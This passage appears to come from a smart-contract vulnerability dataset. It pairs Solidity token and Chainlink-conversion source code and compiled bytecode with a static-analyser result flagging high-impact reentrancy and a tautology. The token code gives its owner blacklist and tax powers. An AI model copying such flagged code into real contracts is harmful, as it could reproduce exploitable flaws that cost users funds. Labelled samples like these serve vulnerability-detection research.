tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ad9565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260088152674e616b616d6f746f60c01b60208201525b6040516102389190611b9e565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bf3565b610699565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611c1f565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611c60565b610719565b34801561036d57600080fd5b506101fc61037c366004611c8d565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611c60565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611ca8565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611c60565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611c8d565b6108cc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260048152634e414b4160e01b602082015261022b565b3480156104bb57600080fd5b506101fc6104ca366004611ca8565b610914565b3480156104db57600080fd5b506101fc6104ea366004611cc1565b610943565b3480156104fb57600080fd5b5061026161050a366004611bf3565b610af9565b34801561051b57600080fd5b5061026161052a366004611c60565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc610b06565b34801561056057600080fd5b506101fc61056f366004611cf3565b610b5a565b34801561058057600080fd5b506102c161058f366004611d77565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611ca8565b610bfb565b3480156105e657600080fd5b506101fc6105f5366004611c60565b610c2a565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611db0565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611de5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611e11565b915050610630565b5050565b60006106a6338484610d14565b5060015b92915050565b60006106bd848484610e38565b61070f843361070a85604051806060016040528060288152602001611f2b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611374565b610d14565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611db0565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611db0565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f4816113ae565b50565b6001600160a01b0381166000908152600260205260408120546106aa906113e8565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611db0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611db0565b674563918244f400008111156107f457601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161062490611db0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062490611db0565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062490611db0565b60048411156109cc5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610624565b6014821115610a285760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610624565b6004831115610a885760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610624565b6014811115610ae55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610624565b600893909355600a91909155600955600b55565b60006106a6338484610e38565b6012546001600160a01b0316336001600160a01b03161480610b3b57506013546001600160a01b0316336001600160a01b0316145b610b4457600080fd5b6000610b4f306107f7565b90506107f48161146c565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161062490611db0565b60005b82811015610bf5578160056000868685818110610ba657610ba6611de5565b9050602002016020810190610bbb9190611c60565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bed81611e11565b915050610b87565b50505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161062490611db0565b601755565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161062490611db0565b6001600160a01b038116610cb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610f605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610f8c57506000546001600160a01b03838116911614155b1561126d57601554600160a01b900460ff16611025576000546001600160a01b038481169116146110255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b6016548111156110775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff161580156110b957506001600160a01b03821660009081526010602052604090205460ff16155b6111115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b038381169116146111965760175481611133846107f7565b61113d9190611e2c565b106111965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b60006111a1306107f7565b6018546016549192508210159082106111ba5760165491505b8080156111d15750601554600160a81b900460ff16155b80156111eb57506015546001600160a01b03868116911614155b80156112005750601554600160b01b900460ff165b801561122557506001600160a01b03851660009081526005602052604090205460ff16155b801561124a57506001600160a01b03841660009081526005602052604090205460ff16155b1561126a576112588261146c565b47801561126857611268476113ae565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112af57506001600160a01b03831660009081526005602052604090205460ff165b806112e157506015546001600160a01b038581169116148015906112e157506015546001600160a01b03848116911614155b156112ee57506000611368565b6015546001600160a01b03858116911614801561131957506014546001600160a01b03848116911614155b1561132b57600854600c55600954600d555b6015546001600160a01b03848116911614801561135657506014546001600160a01b03858116911614155b1561136857600a54600c55600b54600d555b610bf5848484846115e6565b600081848411156113985760405162461bcd60e51b81526004016106249190611b9e565b5060006113a58486611e44565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b600060065482111561144f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b6000611459611614565b90506114658382611637565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611de5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561150d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115319190611e5b565b8160018151811061154457611544611de5565b6001600160a01b03928316602091820292909201015260145461156a9130911684610d14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a3908590600090869030904290600401611e78565b600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115f3576115f3611679565b6115fe8484846116a7565b80610bf557610bf5600e54600c55600f54600d55565b600080600061162161179e565b90925090506116308282611637565b9250505090565b600061146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e0565b600c541580156116895750600d54155b1561169057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116b98761180e565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116eb908761186b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171a90866118ad565b6001600160a01b03891660009081526002602052604090205561173c8161190c565b6117468483611956565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117ba8282611637565b8210156117d757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118015760405162461bcd60e51b81526004016106249190611b9e565b5060006113a58486611ee9565b600080600080600080600080600061182b8a600c54600d5461197a565b925092509250600061183b611614565b9050600080600061184e8e8787876119cf565b919e509c509a509598509396509194505050505091939550919395565b600061146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611374565b6000806118ba8385611e2c565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b6000611916611614565b905060006119248383611a1f565b3060009081526002602052604090205490915061194190826118ad565b30600090815260026020526040902055505050565b600654611963908361186b565b60065560075461197390826118ad565b6007555050565b6000808080611994606461198e8989611a1f565b90611637565b905060006119a7606461198e8a89611a1f565b905060006119bf826119b98b8661186b565b9061186b565b9992985090965090945050505050565b60008080806119de8886611a1f565b905060006119ec8887611a1f565b905060006119fa8888611a1f565b90506000611a0c826119b9868661186b565b939b939a50919850919650505050505050565b600082611a2e575060006106aa565b6000611a3a8385611f0b565b905082611a478583611ee9565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b8035611ad481611ab4565b919050565b60006020808385031215611aec57600080fd5b823567ffffffffffffffff80821115611b0457600080fd5b818501915085601f830112611b1857600080fd5b813581811115611b2a57611b2a611a9e565b8060051b604051601f19603f83011681018181108582111715611b4f57611b4f611a9e565b604052918252848201925083810185019188831115611b6d57600080fd5b938501935b82851015611b9257611b8385611ac9565b84529385019392850192611b72565b98975050505050505050565b600060208083528351808285015260005b81811015611bcb57858101830151858201604001528201611baf565b81811115611bdd576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0657600080fd5b8235611c1181611ab4565b946020939093013593505050565b600080600060608486031215611c3457600080fd5b8335611c3f81611ab4565b92506020840135611c4f81611ab4565b929592945050506040919091013590565b600060208284031215611c7257600080fd5b813561146581611ab4565b80358015158114611ad457600080fd5b600060208284031215611c9f57600080fd5b61146582611c7d565b600060208284031215611cba57600080fd5b5035919050565b60008060008060808587031215611cd757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0857600080fd5b833567ffffffffffffffff80821115611d2057600080fd5b818601915086601f830112611d3457600080fd5b813581811115611d4357600080fd5b8760208260051b8501011115611d5857600080fd5b602092830195509350611d6e9186019050611c7d565b90509250925092565b60008060408385031215611d8a57600080fd5b8235611d9581611ab4565b91506020830135611da581611ab4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2557611e25611dfb565b5060010190565b60008219821115611e3f57611e3f611dfb565b500190565b600082821015611e5657611e56611dfb565b500390565b600060208284031215611e6d57600080fd5b815161146581611ab4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ec85784516001600160a01b031683529383019391830191600101611ea3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2557611f25611dfb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014a324c8b9c9df3763e4f64f2134f590d7d95e5818ec7dd858715abe9028117964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,630
0xc5519f3fcecc8ec85caaf8836563dee9a00080f9
// SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } /** * @title WhitelistAdminRole * @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts. */ contract WhitelistAdminRole { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () internal { _addWhitelistAdmin(msg.sender); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(msg.sender)); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(msg.sender); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } interface ERC20fraction { function decimals() external view returns (uint8); } interface AggregatorFraction { function decimals() external view returns (uint8); function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); } /** * @title ChainlinkConversionPath * * @notice ChainlinkConversionPath is a contract computing currency conversion rates based on Chainlink aggretators */ contract ChainlinkConversionPath is WhitelistAdminRole { using SafeMath for uint256; uint constant DECIMALS = 1e18; // Mapping of Chainlink aggregators (input currency => output currency => contract address) // input & output currencies are the addresses of the ERC20 contracts OR the sha3("currency code") mapping(address => mapping(address => address)) public allAggregators; // declare a new aggregator event AggregatorUpdated(address _input, address _output, address _aggregator); /** * @notice Update an aggregator * @param _input address representing the input currency * @param _output address representing the output currency * @param _aggregator address of the aggregator contract */ function updateAggregator(address _input, address _output, address _aggregator) external onlyWhitelistAdmin { allAggregators[_input][_output] = _aggregator; emit AggregatorUpdated(_input, _output, _aggregator); } /** * @notice Update a list of aggregators * @param _inputs list of addresses representing the input currencies * @param _outputs list of addresses representing the output currencies * @param _aggregators list of addresses of the aggregator contracts */ function updateAggregatorsList(address[] calldata _inputs, address[] calldata _outputs, address[] calldata _aggregators) external onlyWhitelistAdmin { require(_inputs.length == _outputs.length, "arrays must have the same length"); require(_inputs.length == _aggregators.length, "arrays must have the same length"); // For every conversions of the path for (uint i; i < _inputs.length; i++) { allAggregators[_inputs[i]][_outputs[i]] = _aggregators[i]; emit AggregatorUpdated(_inputs[i], _outputs[i], _aggregators[i]); } } /** * @notice Computes the conversion of an amount through a list of intermediate conversions * @param _amountIn Amount to convert * @param _path List of addresses representing the currencies for the intermediate conversions * @return result The result after all the conversions * @return oldestRateTimestamp The oldest timestamp of the path */ function getConversion( uint256 _amountIn, address[] calldata _path ) external view returns (uint256 result, uint256 oldestRateTimestamp) { (uint256 rate, uint256 timestamp, uint256 decimals) = getRate(_path); // initialize the result result = _amountIn.mul(rate).div(decimals); oldestRateTimestamp = timestamp; } /** * @notice Computes the conversion rate from a list of currencies * @param _path List of addresses representing the currencies for the conversions * @return rate The rate * @return oldestRateTimestamp The oldest timestamp of the path * @return decimals of the conversion rate */ function getRate( address[] memory _path ) public view returns (uint256 rate, uint256 oldestRateTimestamp, uint256 decimals) { // initialize the result with 18 decimals (for more precision) rate = DECIMALS; decimals = DECIMALS; oldestRateTimestamp = block.timestamp; // For every conversion of the path for (uint i; i < _path.length - 1; i++) { (AggregatorFraction aggregator, bool reverseAggregator, uint256 decimalsInput, uint256 decimalsOutput) = getAggregatorAndDecimals(_path[i], _path[i + 1]); // store the latest timestamp of the path uint256 currentTimestamp = aggregator.latestTimestamp(); if (currentTimestamp < oldestRateTimestamp) { oldestRateTimestamp = currentTimestamp; } // get the rate of the current step uint256 currentRate = uint256(aggregator.latestAnswer()); // get the number of decimals of the current rate uint256 decimalsAggregator = uint256(aggregator.decimals()); // mul with the difference of decimals before the current rate computation (for more precision) if (decimalsAggregator > decimalsInput) { rate = rate.mul(10**(decimalsAggregator-decimalsInput)); } if (decimalsAggregator < decimalsOutput) { rate = rate.mul(10**(decimalsOutput-decimalsAggregator)); } // Apply the current rate (if path uses an aggregator in the reverse way, div instead of mul) if (reverseAggregator) { rate = rate.mul(10**decimalsAggregator).div(currentRate); } else { rate = rate.mul(currentRate).div(10**decimalsAggregator); } // div with the difference of decimals AFTER the current rate computation (for more precision) if (decimalsAggregator < decimalsInput) { rate = rate.div(10**(decimalsInput-decimalsAggregator)); } if (decimalsAggregator > decimalsOutput) { rate = rate.div(10**(decimalsAggregator-decimalsOutput)); } } } /** * @notice Gets aggregators and decimals of two currencies * @param _input input Address * @param _output output Address * @return aggregator to get the rate between the two currencies * @return reverseAggregator true if the aggregator returned give the rate from _output to _input * @return decimalsInput decimals of _input * @return decimalsOutput decimals of _output */ function getAggregatorAndDecimals(address _input, address _output) private view returns (AggregatorFraction aggregator, bool reverseAggregator, uint256 decimalsInput, uint256 decimalsOutput) { // Try to get the right aggregator for the conversion aggregator = AggregatorFraction(allAggregators[_input][_output]); reverseAggregator = false; // if no aggregator found we try to find an aggregator in the reverse way if (address(aggregator) == address(0x00)) { aggregator = AggregatorFraction(allAggregators[_output][_input]); reverseAggregator = true; } require(address(aggregator) != address(0x00), "No aggregator found"); // get the decimals for the two currencies decimalsInput = getDecimals(_input); decimalsOutput = getDecimals(_output); } /** * @notice Gets decimals from an address currency * @param _addr address to check * @return decimals number of decimals */ function getDecimals(address _addr) private view returns (uint256 decimals) { // by default we assume it is FIAT so 8 decimals decimals = 8; // if address is the hash of the ETH currency if (_addr == address(0xF5AF88e117747e87fC5929F2ff87221B1447652E)) { decimals = 18; } else if (isContract(_addr)) { // otherwise, we get the decimals from the erc20 directly decimals = ERC20fraction(_addr).decimals(); } } /** * @notice Checks if an address is a contract * @param _addr Address to check * @return true if the address hosts a contract, false otherwise */ function isContract(address _addr) private view returns (bool) { uint32 size; // solium-disable security/no-inline-assembly assembly { size := extcodesize(_addr) } return (size > 0); } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c806397edd4fa1161005b57806397edd4fa14610173578063a3d7afa314610234578063bb5f747b14610348578063fbd4122a1461038f57610088565b806308d5bc581461008d5780634b6c8879146100f15780634c5a628c146101385780637362d9c814610140575b600080fd5b6100c8600480360360408110156100a357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661041f565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101366004803603606081101561010757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013582169160409091013516610452565b005b61013661050b565b6101366004803603602081101561015657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610516565b6102166004803603602081101561018957600080fd5b8101906020810181356401000000008111156101a457600080fd5b8201836020820111156101b657600080fd5b803590602001918460208302840111640100000000831117156101d857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610534945050505050565b60408051938452602084019290925282820152519081900360600190f35b6101366004803603606081101561024a57600080fd5b81019060208101813564010000000081111561026557600080fd5b82018360208201111561027757600080fd5b8035906020019184602083028401116401000000008311171561029957600080fd5b9193909290916020810190356401000000008111156102b757600080fd5b8201836020820111156102c957600080fd5b803590602001918460208302840111640100000000831117156102eb57600080fd5b91939092909160208101903564010000000081111561030957600080fd5b82018360208201111561031b57600080fd5b8035906020019184602083028401116401000000008311171561033d57600080fd5b5090925090506107df565b61037b6004803603602081101561035e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b1d565b604080519115158252519081900360200190f35b610406600480360360408110156103a557600080fd5b813591908101906040810160208201356401000000008111156103c757600080fd5b8201836020820111156103d957600080fd5b803590602001918460208302840111640100000000831117156103fb57600080fd5b509092509050610b31565b6040805192835260208301919091528051918290030190f35b600160209081526000928352604080842090915290825290205473ffffffffffffffffffffffffffffffffffffffff1681565b61045b33610b1d565b61046457600080fd5b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260408083208786168085529083529281902080549587167fffffffffffffffffffffffff0000000000000000000000000000000000000000909616861790558051938452908301919091528181019290925290517f589e912830d38d62f14a6cf3cea8f8a002fc9288b37f0d914b5e7dc107d278bf9181900360600190a1505050565b61051433610c1c565b565b61051f33610b1d565b61052857600080fd5b61053181610c6b565b50565b670de0b6b3a7640000428160005b60018551038110156107d75760008060008061058789868151811061056357fe5b60200260200101518a876001018151811061057a57fe5b6020026020010151610cba565b935093509350935060008473ffffffffffffffffffffffffffffffffffffffff16638205bf6a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d757600080fd5b505afa1580156105eb573d6000803e3d6000fd5b505050506040513d602081101561060157600080fd5b5051905087811015610611578097505b60008573ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561065957600080fd5b505afa15801561066d573d6000803e3d6000fd5b505050506040513d602081101561068357600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905191925060009173ffffffffffffffffffffffffffffffffffffffff89169163313ce567916004808301926020929190829003018186803b1580156106f157600080fd5b505afa158015610705573d6000803e3d6000fd5b50505050